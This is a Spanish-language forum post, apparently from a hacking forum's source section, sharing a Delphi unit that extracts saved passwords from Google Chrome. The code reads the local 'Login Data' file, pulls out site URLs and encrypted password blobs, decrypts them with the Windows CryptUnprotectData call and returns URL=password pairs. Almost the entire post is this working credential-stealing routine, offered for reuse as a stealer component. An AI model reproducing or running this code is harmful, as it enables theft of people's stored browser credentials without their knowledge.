Hola, siguiendo los pasos de Pink hice esta Unit para recuperar las contraseñas de Chrome sin usar SQLite.
Es un método que no me gusta porque para que funcione correctamente deben estar los campos del Login Data rellenados tal y como lo solicita la propia función.

http://hackhound.org/forums/index.phpips_usernameUSUARIOips_password=PASSWORD
http://[Enlace externo eliminado para invitados]vb_login_password=PASSWORD

Pros: No necesita SQLite.
Contras: Puede fallar.

Es mi primerita Unit con Delphi XE5
unit MetalChrome;

interface

uses
  Winapi.Windows, Winapi.shlobj;

function mGetChromePass: AnsiString;

implementation

type
  TDATA_BLOB = record
    cbData: DWORD;
    pbData: PByte;
  end;

  PDATA_BLOB = ^TDATA_BLOB;

  TCRYPTPROTECT_PROMPTSTRUCT = record
    cbSize: DWORD;
    dwPromptFlags: DWORD;
    hwndApp: HWND;
    szPrompt: PansiChar;
  end;

  PCRYPTPROTECT_PROMPTSTRUCT = ^TCRYPTPROTECT_PROMPTSTRUCT;

function CryptUnprotectData(pDataIn: PDATA_BLOB; szDataDescr: PWChar;
  pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer;
  pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD;
  pDataOut: PDATA_BLOB): BOOL; stdcall; external 'Crypt32.dll';

Function mFileToStr(Ruta: AnsiString): AnsiString;
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  sFile := _lopen(PansiChar(Ruta), OF_READ);
  uBytes := GetFileSize(sFile, nil);
  SetLength(Result, uBytes);
  _lread(sFile, @Result[1], uBytes);
  _lclose(sFile);
end;

function mGetChromePass: AnsiString;
var
  Src, Dst: TDATA_BLOB;
  DB, Pass, Web: AnsiString;
  LAppData: array [0 .. Max_Path] of Char;
const
  CRYPTPROTECT_LOCAL_MACHINE = 4;
begin
  ShGetSpecialFolderPath(0, LAppData, CSIDL_LOCAL_APPDATA, False);
  DB := mFileToStr(LAppData + '\Google\Chrome\User Data\Default\Login Data');
  DB := Copy(DB, pos('http', DB), Length(DB) - pos('http', DB) + 1);
  DB := Copy(DB, 1, pos(#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0, DB) - 1);
  repeat
    Delete(DB, 1, 1);
    Delete(DB, 1, pos('http', DB) - 1);
    Web := Copy(DB, 1, pos(Char($01), DB) - 1);
    Delete(DB, 1, pos(Char($01), DB) - 1);
    Pass := Copy(DB, 1, pos('http', DB) - 1);

    Delete(DB, 1, pos('http', DB) - 1);
    Src.cbData := Length(Pass);
    Src.pbData := PByte(Pass);
    if CryptUnprotectData(@Src, nil, nil, nil, nil, CRYPTPROTECT_LOCAL_MACHINE,
      @Dst) then
      SetString(Pass, PansiChar(Dst.pbData), Dst.cbData);
    if Web[1] = 'h' then
      Result := Result + #13#10 + Web + '=' + Pass;
    Delete(DB, 1, 1);
    Delete(DB, 1, pos('http', DB) - 1);
  until pos('http', DB) = 0;
end;

end.
Saludos.
UDTools.net
GitHub: https://github.com/MetalUDT
Responder

Volver a “Fuentes”